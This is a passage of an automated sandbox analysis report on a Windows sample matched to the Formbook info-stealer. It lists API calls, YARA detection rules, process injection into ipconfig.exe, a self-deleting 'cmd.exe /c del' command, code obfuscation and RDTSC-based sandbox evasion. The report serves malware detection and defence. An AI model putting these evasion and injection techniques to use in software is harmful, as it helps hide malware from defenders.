Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_004183B0 NtAllocateVirtualMemory, 1_2_004183B0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00418222 NtCreateFile, 1_2_00418222
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_004183AA NtAllocateVirtualMemory, 1_2_004183AA
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A998F0 NtReadVirtualMemory,LdrInitializeThunk, 1_2_00A998F0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99860 NtQuerySystemInformation,LdrInitializeThunk, 1_2_00A99860
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99840 NtDelayExecution,LdrInitializeThunk, 1_2_00A99840
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A999A0 NtCreateSection,LdrInitializeThunk, 1_2_00A999A0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99910 NtAdjustPrivilegesToken,LdrInitializeThunk, 1_2_00A99910
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99A20 NtResumeThread,LdrInitializeThunk, 1_2_00A99A20
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99A00 NtProtectVirtualMemory,LdrInitializeThunk, 1_2_00A99A00
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99A50 NtCreateFile,LdrInitializeThunk, 1_2_00A99A50
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A995D0 NtClose,LdrInitializeThunk, 1_2_00A995D0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99540 NtReadFile,LdrInitializeThunk, 1_2_00A99540
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A996E0 NtFreeVirtualMemory,LdrInitializeThunk, 1_2_00A996E0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99660 NtAllocateVirtualMemory,LdrInitializeThunk, 1_2_00A99660
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A997A0 NtUnmapViewOfSection,LdrInitializeThunk, 1_2_00A997A0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99780 NtMapViewOfSection,LdrInitializeThunk, 1_2_00A99780
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99FE0 NtCreateMutant,LdrInitializeThunk, 1_2_00A99FE0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99710 NtQueryInformationToken,LdrInitializeThunk, 1_2_00A99710
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A998A0 NtWriteVirtualMemory, 1_2_00A998A0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99820 NtEnumerateKey, 1_2_00A99820
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A9B040 NtSuspendThread, 1_2_00A9B040
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A999D0 NtCreateProcessEx, 1_2_00A999D0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99950 NtQueueApcThread, 1_2_00A99950
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99A80 NtOpenDirectoryObject, 1_2_00A99A80
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A99A10 NtQuerySection, 1_2_00A99A10
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9710 NtQueryInformationToken,LdrInitializeThunk, 7_2_035F9710
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9FE0 NtCreateMutant,LdrInitializeThunk, 7_2_035F9FE0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9780 NtMapViewOfSection,LdrInitializeThunk, 7_2_035F9780
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9A50 NtCreateFile,LdrInitializeThunk, 7_2_035F9A50
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F96D0 NtCreateKey,LdrInitializeThunk, 7_2_035F96D0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F96E0 NtFreeVirtualMemory,LdrInitializeThunk, 7_2_035F96E0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9540 NtReadFile,LdrInitializeThunk, 7_2_035F9540
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9910 NtAdjustPrivilegesToken,LdrInitializeThunk, 7_2_035F9910
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F95D0 NtClose,LdrInitializeThunk, 7_2_035F95D0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F99A0 NtCreateSection,LdrInitializeThunk, 7_2_035F99A0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9840 NtDelayExecution,LdrInitializeThunk, 7_2_035F9840
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9860 NtQuerySystemInformation,LdrInitializeThunk, 7_2_035F9860
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9770 NtSetInformationFile, 7_2_035F9770
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035FA770 NtOpenThread, 7_2_035FA770
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9760 NtOpenProcess, 7_2_035F9760
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035FA710 NtOpenProcessToken, 7_2_035FA710
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9B00 NtSetValueKey, 7_2_035F9B00
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9730 NtQueryVirtualMemory, 7_2_035F9730
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035FA3B0 NtGetContextThread, 7_2_035FA3B0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F97A0 NtUnmapViewOfSection, 7_2_035F97A0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9650 NtQueryValueKey, 7_2_035F9650
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9670 NtQueryInformationProcess, 7_2_035F9670
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9660 NtAllocateVirtualMemory, 7_2_035F9660
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9610 NtEnumerateValueKey, 7_2_035F9610
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9A10 NtQuerySection, 7_2_035F9A10
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9A00 NtProtectVirtualMemory, 7_2_035F9A00
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9A20 NtResumeThread, 7_2_035F9A20
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9A80 NtOpenDirectoryObject, 7_2_035F9A80
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9950 NtQueueApcThread, 7_2_035F9950
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9560 NtWriteFile, 7_2_035F9560
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035FAD30 NtSetContextThread, 7_2_035FAD30
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9520 NtWaitForSingleObject, 7_2_035F9520
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F99D0 NtCreateProcessEx, 7_2_035F99D0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F95F0 NtQueryInformationFile, 7_2_035F95F0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035FB040 NtSuspendThread, 7_2_035FB040
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F9820 NtEnumerateKey, 7_2_035F9820
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F98F0 NtReadVirtualMemory, 7_2_035F98F0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F98A0 NtWriteVirtualMemory, 7_2_035F98A0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EB81D0 NtCreateFile, 7_2_00EB81D0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EB8280 NtReadFile, 7_2_00EB8280
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EB8300 NtClose, 7_2_00EB8300
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EB8222 NtCreateFile, 7_2_00EB8222
Detected potential crypto function
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_0040102E 1_2_0040102E
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00401030 1_2_00401030
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_0041B8FB 1_2_0041B8FB
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00408C6C 1_2_00408C6C
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00408C70 1_2_00408C70
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_0041B57A 1_2_0041B57A
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00402D88 1_2_00402D88
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_0041C58A 1_2_0041C58A
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00402D90 1_2_00402D90
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00402FB0 1_2_00402FB0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A820A0 1_2_00A820A0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00B220A8 1_2_00B220A8
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A6B090 1_2_00A6B090
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00B11002 1_2_00B11002
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A74120 1_2_00A74120
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A5F900 1_2_00A5F900
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EEBB0 7_2_035EEBB0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035D6E30 7_2_035D6E30
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03681D55 7_2_03681D55
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BF900 7_2_035BF900
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B0D20 7_2_035B0D20
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035D4120 7_2_035D4120
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035CD5E0 7_2_035CD5E0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E2581 7_2_035E2581
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C841F 7_2_035C841F
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671002 7_2_03671002
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035CB090 7_2_035CB090
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E20A0 7_2_035E20A0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EBB8FB 7_2_00EBB8FB
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EA8C6C 7_2_00EA8C6C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EA8C70 7_2_00EA8C70
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EBC58A 7_2_00EBC58A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EA2D88 7_2_00EA2D88
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EA2D90 7_2_00EA2D90
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EBB57A 7_2_00EBB57A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EA2FB0 7_2_00EA2FB0
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: String function: 035BB150 appears 35 times
Sample file is different than original file name gathered from version info
Source: v8kZUFgdD4.exe, 00000000.00000003.333171421.0000000002486000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs v8kZUFgdD4.exe
Source: v8kZUFgdD4.exe, 00000001.00000002.389800702.000000000060E000.00000004.00000020.sdmp Binary or memory string: OriginalFilenameipconfig.exej% vs v8kZUFgdD4.exe
Source: v8kZUFgdD4.exe, 00000001.00000002.390529849.0000000000CDF000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs v8kZUFgdD4.exe
Uses 32bit PE files
Source: v8kZUFgdD4.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
Yara signature match
Source: 0.2.v8kZUFgdD4.exe.21d0000.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.v8kZUFgdD4.exe.21d0000.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.v8kZUFgdD4.exe.21d0000.2.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.v8kZUFgdD4.exe.21d0000.2.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.v8kZUFgdD4.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.v8kZUFgdD4.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.v8kZUFgdD4.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.v8kZUFgdD4.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.599150521.0000000001330000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.599150521.0000000001330000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.389518635.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.389518635.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.597969689.0000000000EA0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.597969689.0000000000EA0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.341137782.00000000021D0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.341137782.00000000021D0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.389832598.00000000009F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.389832598.00000000009F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.598432080.0000000001100000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.598432080.0000000001100000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.389732615.00000000005B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.389732615.00000000005B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000001.339035509.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000001.339035509.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: classification engine Classification label: mal100.troj.evad.winEXE@7/0@16/8
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6760:120:WilError_01
Source: v8kZUFgdD4.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: v8kZUFgdD4.exe Virustotal: Detection: 38%
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe File read: C:\Users\user\Desktop\v8kZUFgdD4.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\v8kZUFgdD4.exe 'C:\Users\user\Desktop\v8kZUFgdD4.exe'
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Process created: C:\Users\user\Desktop\v8kZUFgdD4.exe 'C:\Users\user\Desktop\v8kZUFgdD4.exe'
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\v8kZUFgdD4.exe'
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Process created: C:\Users\user\Desktop\v8kZUFgdD4.exe 'C:\Users\user\Desktop\v8kZUFgdD4.exe' Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\v8kZUFgdD4.exe' Jump to behavior
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C3EE638-B588-4D7D-B30A-E7E36759305D}\InprocServer32 Jump to behavior
Source: Binary string: ipconfig.pdb source: v8kZUFgdD4.exe, 00000001.00000002.389856707.0000000000A20000.00000040.00000001.sdmp
Source: Binary string: ipconfig.pdbGCTL source: v8kZUFgdD4.exe, 00000001.00000002.389856707.0000000000A20000.00000040.00000001.sdmp
Source: Binary string: wscui.pdbUGP source: explorer.exe, 00000005.00000000.363215324.000000000DC20000.00000002.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: v8kZUFgdD4.exe, 00000000.00000003.338578386.0000000002500000.00000004.00000001.sdmp, v8kZUFgdD4.exe, 00000001.00000002.389979034.0000000000A30000.00000040.00000001.sdmp, ipconfig.exe, 00000007.00000002.599975463.0000000003590000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: v8kZUFgdD4.exe, ipconfig.exe
Source: Binary string: wscui.pdb source: explorer.exe, 00000005.00000000.363215324.000000000DC20000.00000002.00000001.sdmp

Data Obfuscation:

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Unpacked PE file: 1.2.v8kZUFgdD4.exe.400000.0.unpack .text:ER;.rdata:R;.data:W; vs .text:ER;
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 0_2_00403DDB LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00403DDB
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_004062F6 pushfd ; ret 1_2_004062F7
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_0041B3C5 push eax; ret 1_2_0041B418
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_004153FC push eax; retf 1_2_0041540B
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_0041B47C push eax; ret 1_2_0041B482
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_0041B412 push eax; ret 1_2_0041B418
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_0041B41B push eax; ret 1_2_0041B482
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00415CE7 pushad ; ret 1_2_00415D4B
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_0041C4EE push 133511A3h; retf 1_2_0041C4F3
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00414D71 push ss; iretd 1_2_00414D72
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00415D38 pushad ; ret 1_2_00415D4B
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AAD0D1 push ecx; ret 1_2_00AAD0E4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0360D0D1 push ecx; ret 7_2_0360D0E4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EA62F6 pushfd ; ret 7_2_00EA62F7
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EB53FC push eax; retf 7_2_00EB540B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EBB3C5 push eax; ret 7_2_00EBB418
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EBC4EE push 133511A3h; retf 7_2_00EBC4F3
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EB5CE7 pushad ; ret 7_2_00EB5D4B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EBB47C push eax; ret 7_2_00EBB482
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EBB41B push eax; ret 7_2_00EBB482
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EBB412 push eax; ret 7_2_00EBB418
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EB4D71 push ss; iretd 7_2_00EB4D72
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00EB5D38 pushad ; ret 7_2_00EB5D4B

Persistence and Installation Behavior:

barindex
Uses ipconfig to lookup or modify the Windows network settings
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe
Source: C:\Windows\SysWOW64\ipconfig.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe RDTSC instruction interceptor: First address: 00000000004085F4 second address: 00000000004085FA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe RDTSC instruction interceptor: First address: 000000000040898E second address: 0000000000408994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\ipconfig.exe RDTSC instruction interceptor: First address: 0000000000EA85F4 second address: 0000000000EA85FA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
